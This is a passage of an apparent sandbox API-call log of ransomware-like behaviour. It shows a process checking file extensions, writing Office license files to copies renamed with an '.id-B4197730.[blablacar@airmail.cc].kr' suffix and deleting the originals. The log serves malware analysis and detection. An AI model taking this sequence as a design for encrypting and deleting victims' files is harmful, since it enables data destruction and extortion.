Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91 [0202.595] lstrlenW (lpString=".dbf") returned 4 [0202.595] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91 [0202.595] lstrlenW (lpString=".1cd") returned 4 [0202.595] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91 [0202.595] lstrlenW (lpString=".jpg") returned 4 [0202.595] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.595] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0202.595] lstrlenW (lpString="O365HomePremR_SubTest1-pl.xrm-ms") returned 32 [0202.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0202.596] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=11179) returned 1 [0202.596] CloseHandle (hObject=0x554) returned 1 [0202.596] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-pl.xrm-ms")) returned 0x220 [0202.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0202.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0202.597] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0202.597] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0202.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0202.598] GetLastError () returned 0x0 [0202.598] ReadFile (in: hFile=0x554, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2bab, lpOverlapped=0x0) returned 1 [0202.600] WriteFile (in: hFile=0x550, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0202.601] ReadFile (in: hFile=0x554, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0202.601] WriteFile (in: hFile=0x550, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x114, lpOverlapped=0x0) returned 1 [0202.601] SetEndOfFile (hFile=0x550) returned 1 [0202.602] CloseHandle (hObject=0x550) returned 1 [0202.602] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0202.602] SetEndOfFile (hFile=0x554) returned 1 [0202.606] CloseHandle (hObject=0x554) returned 1 [0202.606] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0202.606] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-pl.xrm-ms")) returned 1 [0202.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82 [0202.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82 [0202.607] lstrlenW (lpString=".doc") returned 4 [0202.607] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.607] lstrlenW (lpString=".docx") returned 5 [0202.607] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.607] lstrlenW (lpString=".pdf") returned 4 [0202.607] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.607] lstrlenW (lpString=".xls") returned 4 [0202.607] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.607] lstrlenW (lpString=".xlsx") returned 5 [0202.607] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.607] lstrlenW (lpString=".ppt") returned 4 [0202.607] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82 [0202.607] lstrlenW (lpString=".zip") returned 4 [0202.607] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.607] lstrlenW (lpString=".rar") returned 4 [0202.607] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.607] lstrlenW (lpString=".bz2") returned 4 [0202.607] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.608] lstrlenW (lpString=".7z") returned 3 [0202.608] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82 [0202.608] lstrlenW (lpString=".dbf") returned 4 [0202.608] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82 [0202.608] lstrlenW (lpString=".1cd") returned 4 [0202.608] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82 [0202.608] lstrlenW (lpString=".jpg") returned 4 [0202.608] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82 [0202.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82 [0202.608] lstrlenW (lpString=".doc") returned 4 [0202.608] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.608] lstrlenW (lpString=".docx") returned 5 [0202.608] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.608] lstrlenW (lpString=".pdf") returned 4 [0202.608] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.608] lstrlenW (lpString=".xls") returned 4 [0202.608] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.608] lstrlenW (lpString=".xlsx") returned 5 [0202.608] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.608] lstrlenW (lpString=".ppt") returned 4 [0202.608] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82 [0202.608] lstrlenW (lpString=".zip") returned 4 [0202.608] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.608] lstrlenW (lpString=".rar") returned 4 [0202.609] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.609] lstrlenW (lpString=".bz2") returned 4 [0202.609] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.609] lstrlenW (lpString=".7z") returned 3 [0202.609] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82 [0202.609] lstrlenW (lpString=".dbf") returned 4 [0202.609] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82 [0202.609] lstrlenW (lpString=".1cd") returned 4 [0202.609] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82 [0202.609] lstrlenW (lpString=".jpg") returned 4 [0202.609] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.609] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0202.609] lstrlenW (lpString="O365HomePremR_SubTest1-ppd.xrm-ms") returned 33 [0202.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0202.610] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=23134) returned 1 [0202.610] CloseHandle (hObject=0x554) returned 1 [0202.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ppd.xrm-ms")) returned 0x220 [0202.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0202.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0202.610] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0202.610] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0202.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0202.611] GetLastError () returned 0x0 [0202.611] ReadFile (in: hFile=0x554, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x5a5e, lpOverlapped=0x0) returned 1 [0202.991] WriteFile (in: hFile=0x550, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x5a60, lpOverlapped=0x0) returned 1 [0202.992] ReadFile (in: hFile=0x554, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0202.992] WriteFile (in: hFile=0x550, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x116, lpOverlapped=0x0) returned 1 [0202.992] SetEndOfFile (hFile=0x550) returned 1 [0202.992] CloseHandle (hObject=0x550) returned 1 [0202.992] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0202.992] SetEndOfFile (hFile=0x554) returned 1 [0202.995] CloseHandle (hObject=0x554) returned 1 [0202.996] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0202.996] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ppd.xrm-ms")) returned 1 [0202.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83 [0202.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83 [0202.997] lstrlenW (lpString=".doc") returned 4 [0202.997] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.997] lstrlenW (lpString=".docx") returned 5 [0202.997] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.997] lstrlenW (lpString=".pdf") returned 4 [0202.997] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.997] lstrlenW (lpString=".xls") returned 4 [0202.997] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.997] lstrlenW (lpString=".xlsx") returned 5 [0202.997] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.997] lstrlenW (lpString=".ppt") returned 4 [0202.998] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83 [0202.998] lstrlenW (lpString=".zip") returned 4 [0202.998] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.998] lstrlenW (lpString=".rar") returned 4 [0202.998] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.998] lstrlenW (lpString=".bz2") returned 4 [0202.998] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.998] lstrlenW (lpString=".7z") returned 3 [0202.998] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83 [0202.998] lstrlenW (lpString=".dbf") returned 4 [0202.998] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83 [0202.998] lstrlenW (lpString=".1cd") returned 4 [0202.998] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83 [0202.998] lstrlenW (lpString=".jpg") returned 4 [0202.998] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83 [0202.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83 [0202.998] lstrlenW (lpString=".doc") returned 4 [0202.998] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.998] lstrlenW (lpString=".docx") returned 5 [0202.998] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.998] lstrlenW (lpString=".pdf") returned 4 [0202.998] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.998] lstrlenW (lpString=".xls") returned 4 [0202.998] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.998] lstrlenW (lpString=".xlsx") returned 5 [0202.998] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.998] lstrlenW (lpString=".ppt") returned 4 [0202.999] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83 [0202.999] lstrlenW (lpString=".zip") returned 4 [0202.999] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.999] lstrlenW (lpString=".rar") returned 4 [0202.999] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.999] lstrlenW (lpString=".bz2") returned 4 [0202.999] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.999] lstrlenW (lpString=".7z") returned 3 [0202.999] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83 [0202.999] lstrlenW (lpString=".dbf") returned 4 [0202.999] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83 [0202.999] lstrlenW (lpString=".1cd") returned 4 [0202.999] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83 [0202.999] lstrlenW (lpString=".jpg") returned 4 [0202.999] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.999] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0202.999] lstrlenW (lpString="O365HomePremR_SubTest4-ppd.xrm-ms") returned 33 [0202.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0203.000] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=23134) returned 1 [0203.000] CloseHandle (hObject=0x554) returned 1 [0203.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ppd.xrm-ms")) returned 0x220 [0203.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0203.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0203.001] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0203.001] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0203.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0203.002] GetLastError () returned 0x0 [0203.002] ReadFile (in: hFile=0x554, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x5a5e, lpOverlapped=0x0) returned 1 [0203.005] WriteFile (in: hFile=0x550, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x5a60, lpOverlapped=0x0) returned 1 [0203.006] ReadFile (in: hFile=0x554, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0203.006] WriteFile (in: hFile=0x550, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x116, lpOverlapped=0x0) returned 1 [0203.006] SetEndOfFile (hFile=0x550) returned 1 [0203.007] CloseHandle (hObject=0x550) returned 1 [0203.007] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0203.007] SetEndOfFile (hFile=0x554) returned 1 [0203.011] CloseHandle (hObject=0x554) returned 1 [0203.011] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0203.011] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ppd.xrm-ms")) returned 1 [0203.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83 [0203.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83 [0203.012] lstrlenW (lpString=".doc") returned 4 [0203.012] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0203.012] lstrlenW (lpString=".docx") returned 5 [0203.012] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0203.012] lstrlenW (lpString=".pdf") returned 4 [0203.012] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0203.012] lstrlenW (lpString=".xls") returned 4 [0203.012] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0203.012] lstrlenW (lpString=".xlsx") returned 5 [0203.012] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0203.012] lstrlenW (lpString=".ppt") returned 4 [0203.012] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0203.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83 [0203.012] lstrlenW (lpString=".zip") returned 4 [0203.013] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0203.013] lstrlenW (lpString=".rar") returned 4 [0203.013] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0203.013] lstrlenW (lpString=".bz2") returned 4 [0203.013] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0203.013] lstrlenW (lpString=".7z") returned 3 [0203.013] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0203.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83 [0203.013] lstrlenW (lpString=".dbf") returned 4 [0203.013] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0203.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83 [0203.013] lstrlenW (lpString=".1cd") returned 4 [0203.013] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0203.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83 [0203.013] lstrlenW (lpString=".jpg") returned 4 [0203.013] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0203.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83 [0203.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83 [0203.013] lstrlenW (lpString=".doc") returned 4 [0203.013] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0203.013] lstrlenW (lpString=".docx") returned 5 [0203.013] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0203.013] lstrlenW (lpString=".pdf") returned 4 [0203.013] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0203.013] lstrlenW (lpString=".xls") returned 4 [0203.013] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0203.013] lstrlenW (lpString=".xlsx") returned 5 [0203.013] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0203.013] lstrlenW (lpString=".ppt") returned 4 [0203.013] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0203.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") 